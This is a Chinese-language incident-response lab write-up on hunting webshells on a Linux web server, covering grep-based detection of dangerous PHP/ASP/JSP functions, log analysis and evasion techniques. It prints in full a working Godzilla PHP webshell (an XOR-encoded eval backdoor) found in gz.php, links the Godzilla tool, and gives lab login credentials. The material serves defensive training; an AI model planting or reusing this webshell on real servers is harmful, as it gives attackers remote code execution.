第一章 应急响应-webshell查杀
第一章 应急响应-webshell查杀
前置知识
什么是应急响应?
简单官方一点:WebShell应急响应是指在检测到WebShell(恶意Web脚本)攻击后,采取一系列措施来控制、消除威胁,并恢复受影响的系统和服务。WebShell是一种常见的攻击手段,攻击者通过上传或注入恶意脚本到Web服务器上,从而获得对服务器的远程控制权限,而我们需要做的就是找到问题所在根源并且解决掉它
一、手动排查webshell
-
静态检测
-
我们可以查找一些特殊后缀结尾的文件。例如:.asp、.php、.jsp、.aspx。然后再从这类文件中查找后门的特征码,特征值,危险函数来查找webshell,例如查找内容含有exec()、eval()、system()的文件。
-
优点:快速方便,对已知的webshell查找准确率高,部署方便,一个脚本就能搞定。
-
缺点:漏报率、误报率高,无法查找0day型webshell,而且容易被绕过。
-
-
动态检测
- webshell执行时刻表现出来的特征,我们称为动态特征。只要我们把webshell特有的HTTP请求/响应做成特征库,加到IDS里面去检测所有的HTTP请求就好了。
- webshell如果执行系统命令的话,会有进程。Linux下就是起了bash,Win下就是启动cmd,这些都是动态特征。
-
日志检测
- 使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。
- 日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件,例如:一个平时是GET的请求突然有了POST请求并且返回代码为200。
二、工具排查webshell
-
相对于手工排查,工具排查可能更好上手,但是如果想走的更远一些,某些线下的比赛可能会断网,也就说,手工排查的一些基本操作还是要明白的。(但是工具排查真的很香)
推荐一些查杀的平台工具(大部分都是在线端)
简介
靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag-
首先代码特征
- WebShell通常会使用一些危险的函数来执行系统命令或代码,如:
- PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode()
- ASP: Execute(), Eval(), CreateObject()
- JSP: Runtime.getRuntime().exec()
- WebShell通常会使用一些危险的函数来执行系统命令或代码,如:
-
编码和解码
-
WebShell经常使用编码和解码技术来隐藏其真实意图,如Base64编码:
-
eval(base64_decode('encoded_string'));
-
-
文件操作
- WebShell可能会包含文件操作函数,用于读取、写入或修改文件:
- PHP:
fopen(),fwrite(),file_get_contents(),file_put_contents() - ASP:
FileSystemObject
- PHP:
- WebShell可能会包含文件操作函数,用于读取、写入或修改文件:
-
网络操作
- WebShell可能会包含网络操作函数,用于与远程服务器通信:
- PHP:
fsockopen(),curl_exec(),file_get_contents('http://...') - ASP:
WinHttp.WinHttpRequest
- PHP:
- WebShell可能会包含网络操作函数,用于与远程服务器通信:
-
特殊后缀文件 例如:.asp、.php、.jsp、.aspx。
-
一、黑客webshell里面的flag flag
-
搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征 很明显shell.php 是一个病毒文件,定位过去查看内容 并没有什么 继续分析其他两个文件
-
在gz.php文件里面发现了 木马
-
这段代码的目的是接收通过
php://input流发送的数据,对其进行编码,并根据会话变量中的内容执行特定的 PHP 代码。这通常用于隐藏恶意代码或后门,使得攻击者可以通过特定的请求触发执行。
<?php @session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; } //027ccd04-5065-48b6-a32d-77c704a5e26d $payloadName='payload'; $key='3c6e0b8a9c15224a'; $data=file_get_contents("php://input"); if ($data!==false){ $data=encode($data,$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); } eval($payload); echo encode(@run($data),$key); }else{ if (strpos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); } } } -
-
find ./ type f -name "*.jsp" | xargs grep "exec(" find ./ type f -name "*.php" | xargs grep "eval(" find ./ type f -name "*.asp" | xargs grep "execute(" find ./ type f -name "*.aspx" | xargs grep "eval(" //对于免杀Webshell,可以查看是否使用编码 find ./ type f -name "*.php" | xargs grep "base64_decode" xargs:xargs命令用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中,xargs将find命令找到的文件列表作为参数传递给grep命令。 grep "eval(":grep命令用于搜索文本,并输出匹配的行。这里"eval("是grep命令的搜索模式,用于查找包含eval(字符串的行。 -
find ./ type f -name "*.php" | xargs grep "eval(" -

-

-

- flag
二、黑客使用的什么工具的shell github地址的md5 flag{md5}
-
遇到这种类型的题目,我们就是要分析一下是什么类型的webshell 这个木马的内容开头就已经很明显了 是哥斯拉的webshell
-
哥斯拉病毒是一种Java后门木马,通常用于攻击并控制Web服务器。特征就包括
-
- @session_start(); - 开启一个会话。
- @set_time_limit(0); - 设置脚本执行时间为无限。
- @error_reporting(0); - 关闭所有错误报告。
-
这些代码行主要用于隐藏病毒活动并确保其能够长时间运行而不被发现。哥斯拉病毒通常会通过Webshell或其他漏洞注入到服务器中,然后使用这些命令来掩盖其存在并执行进一步的恶意操作。
-
所以我们只需要找到它的github地址并且进行MD5加密即可;
-
Godzilla地址:https://github.com/BeichenDream/Godzilla
-
flag
-

-

-
三、黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
-
题目提示隐藏了 我们就得用 ls -la进行查找
-
在路径
/var/www/html/include/Db/下找到了隐藏文件 我们对这个路径进行加密-
flag
-

-

-
四、黑客免杀马完整路径 md5 flag
什么是免杀马?
免杀马(免杀病毒或免杀Webshell)是指经过特殊处理和混淆,使其能够避开杀毒软件和安全检测工具识别的恶意软件或后门程序。黑客使用各种技术手段,使恶意代码看起来像是正常代码,从而躲避签名检测和基于规则的安全机制。这种技术通常用于Webshell和其他后门程序,目的是保持对受害系统的隐蔽访问。
常见的免杀技术有哪些?
代码混淆:
- 使用混淆工具或手动混淆代码,使其难以被直接阅读和分析。
编码和加密:
- 使用Base64、ROT13等编码方式或更复杂的加密技术隐藏恶意代码片段。
动态生成和执行:
- 通过动态生成代码并在运行时执行,绕过静态分析。例如,使用 eval()、create_function() 等PHP函数。
多层解码:
- 多层编码或加密,增加分析和检测的难度。
使用合法函数:
- 恶意代码嵌入到看似合法的代码中,利用正常的函数调用执行恶意操
查找和处理免杀马的方法;
-
文件完整性检查:
比较当前文件与已知的良性备份文件,发现被修改或新增的文件。
-
代码审查:
手动检查可疑文件,寻找混淆、编码、加密和动态执行的代码模式。
-
安全扫描工具:
使用高级安全扫描工具,这些工具使用行为分析和机器学习来检测潜在的免杀马。
-
日志分析:
查看服务器访问日志和错误日志,寻找异常访问和执行模式。
检查文件修改时间,与正常更新周期不符的文件可能是可疑的。 -
基于特征的检测:
使用YARA规则等特征检测工具,根据已知的免杀马特征进行扫描。
这里我们总结一下常见网站日志的路径:
-
IIS(Internet Information Services)
-
IIS是Windows上的默认Web服务器,其日志文件默认存储在以下路径:
-
IIS 6.0 及更早版本:
-
C:\WINDOWS\system32\LogFiles\W3SVC[SiteID]\
-
IIS 7.0 及更高版本:
-
C:\inetpub\logs\LogFiles\W3SVC[SiteID]\
-
其中,[SiteID] 是网站的标识符,通常是一个数字。
-
-
-
Apache HTTP Server
-
如果在Windows上安装了Apache,日志文件默认存储在安装目录下的logs文件夹中:
-
- C:\Program Files (x86)\Apache Group\Apache2\logs\
或者
- C:\Program Files\Apache Group\Apache2\logs\
- 具体路径取决于安装时选择的位置。
-
在Linux上,Apache日志文件通常位于以下目录:
-
访问日志:
- /var/log/apache2/access.log
或者
- /var/log/httpd/access_log
错误日志:
- /var/log/apache2/error.log
或
- /var/log/httpd/error_log
不同的Linux发行版可能有不同的目录。例如,在Debian/Ubuntu上通常使用/var/log/apache2/,而在Red Hat/CentOS上通常使用/var/log/httpd/。
-
-
Nginx
- Nginx是另一个流行的Web服务器,默认的日志文件路径如下:
访问日志:
/var/log/nginx/access.log
错误日志:
/var/log/nginx/error.log。
-
如何查看和分析日志文件?
-
Windows:
- 使用文本编辑器(如Notepad、Notepad++)直接打开日志文件查看。
可以使用IIS管理器查看IIS日志。
Linux:
- 使用文本编辑器(如Notepad、Notepad++)直接打开日志文件查看。
-
Linux
-
使用命令行工具查看日志,例如:
tail -f /var/log/apache2/access.log tail -f /var/log/nginx/access.log
可以使用日志分析工具(如GoAccess、AWStats)生成可视化的日志报告
-
-
-
既然它经过了免杀处理,那么木马的特征值以及特征函数应该都是被去掉了。这时我们再通过静态检测是基本检测不到的,从上面我们就可以看出我们只找到了三个马。而且上面我们说了webshell执行会在网站日志留下记录,那我们就到网站日志里面看看有啥可疑的记录。
-
我们到apache2目录下面查看一下access.log日志,查看分析一下;(因为是日志所以记录有点多)
-
继续往下翻,又发现一个较为可疑的文件,到此目录下面查看该文件。目录:/wap/top.php
-
原来是个恶意文件,最后把路径进行md5进行加密即可;路径:/var/www/html/wap/top.php
- flag
为什么可以确认是恶意文件?
-
混淆和隐藏:
- 使用Base64编码和字符异或操作来混淆代码。这些技术通常用于隐藏恶意代码,避免被直接检测到。
-
动态执行:
- 动态生成并调用函数。这种模式允许攻击者通过URL参数传递任意代码并在服务器上执行,具有极大的危险性。
-
外部输入:
- 使用$_GET参数来控制代码行为。通过外部输入来决定代码逻辑,使得攻击者可以远程控制服务器,执行任意PHP代码。
-





浙公网安备 33010602011771号